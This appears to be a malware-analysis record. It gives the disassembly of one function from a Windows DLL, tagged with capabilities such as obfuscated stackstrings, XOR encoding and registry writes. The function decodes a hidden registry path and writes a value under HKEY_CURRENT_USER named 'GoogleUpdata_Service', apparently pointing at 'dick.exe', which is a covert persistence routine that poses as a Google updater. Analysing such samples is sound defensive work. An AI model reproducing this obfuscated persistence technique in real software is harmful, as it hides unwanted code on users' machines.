Function at 0x180005c80
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x1800a7040]
xor rax, rsp
mov qword [rbp + 0x28], rax
cmp edx, 1
jne 0x180006057
lea rcx, [rbp + 8]
call fcn.1800055c0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
mov r8d, 9
lea rdx, str.dick.exe
lea rcx, [rbp - 0x18]
call fcn.180002360
nop
lea r8, [rbp - 0x18]
lea rdx, [rbp + 8]
lea rcx, [rbp - 0x38]
call fcn.1800083f0
nop
mov dword [rsp + 0x51], 0x1417050c
mov dword [rsp + 0x55], 0x3f061102
mov dword [rsp + 0x59], 0x202a273f
mov dword [rsp + 0x5d], 0x263b2628
mov dword [rsp + 0x61], 0x2b372233
mov byte [rsp + 0x65], 0
lea rcx, [rsp + 0x50]
mov al, 0x30
nop dword [rax]
nop dword [rax + rax]
xor al, 0x63
mov byte [rcx], al
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x180005d30
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xor edi, edi
mov ecx, edi
mov qword [rbp - 0x68], rcx
mov edx, 7
mov qword [rbp - 0x60], rdx
mov word [rbp - 0x78], di
movzx eax, byte [rsp + 0x50]
test al, al
je 0x180005dbf
lea rbx, [rsp + 0x50]
nop dword [rax]
movzx r9d, al
cmp rcx, rdx
jae 0x180005d9a
lea rax, [rcx + 1]
mov qword [rbp - 0x68], rax
lea rax, [rbp - 0x78]
cmp rdx, 7
cmova rax, qword [rbp - 0x78]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], di
jmp 0x180005dab
xor r8d, r8d
mov edx, 1
lea rcx, [rbp - 0x78]
call fcn.1800086b0
inc rbx
movzx eax, byte [rbx]
test al, al
je 0x180005dbf
mov rdx, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x68]
jmp 0x180005d70
mov dword [rsp + 0x50], 0x6f0047
mov dword [rsp + 0x54], 0x67006f
mov dword [rsp + 0x58], 0x65006c
mov dword [rsp + 0x5c], 0x700055
mov dword [rsp + 0x60], 0x610064
mov dword [rsp + 0x64], 0x610074
mov dword [rsp + 0x68], 0x53005f
mov dword [rsp + 0x6c], 0x720065
mov dword [rsp + 0x70], 0x690076
mov dword [rsp + 0x74], 0x650063
mov word [rsp + 0x78], di
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x180005e30
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x58]
call fcn.180002360
nop
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 7
cmova rdx, qword [rbp - 0x78]
mov qword [rsp + 0x40], rdi
lea rax, [rbp - 0x80]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x180005eda
lea rcx, [rbp - 0x38]
cmp qword [rbp - 0x20], 7
cmova rcx, qword [rbp - 0x38]
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 7
cmova rdx, qword [rbp - 0x58]
mov eax, dword [rbp - 0x28]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.180005b50
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 7
jbe 0x180005f20
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005f1b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006083
call fcn.18003cc7c
movdqa xmm0, xmmword [0x1800942f0]
movdqu xmmword [rbp - 0x48], xmm0
mov word [rbp - 0x58], di
mov rdx, qword [rbp - 0x60]
cmp rdx, 7
jbe 0x180005f79
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005f6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006089
call fcn.18003cc7c
movdqa xmm0, xmmword [0x1800942f0]
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], 7
mov word [rbp - 0x78], di
mov rdx, qword [rbp - 0x20]
cmp rdx, 7
jbe 0x180005fd1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005fc4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000608f
call fcn.18003cc7c
movdqa xmm0, xmmword [0x1800942f0]
movdqu xmmword [rbp - 0x28], xmm0
mov word [rbp - 0x38], di
mov rdx, qword [rbp]
cmp rdx, 7
jbe 0x18000601b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006015
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006095
call fcn.18003cc7c
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 7
jbe 0x180006057
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006052
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000607d
call fcn.18003cc7c
mov eax, 1
mov rcx, qword [rbp + 0x28]
xor rcx, rsp
call fcn.18003cc20
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call fcn.18005d944
nop
call fcn.18005d944
nop
call fcn.18005d944
nop
call fcn.18005d944
nop
call fcn.18005d944
int3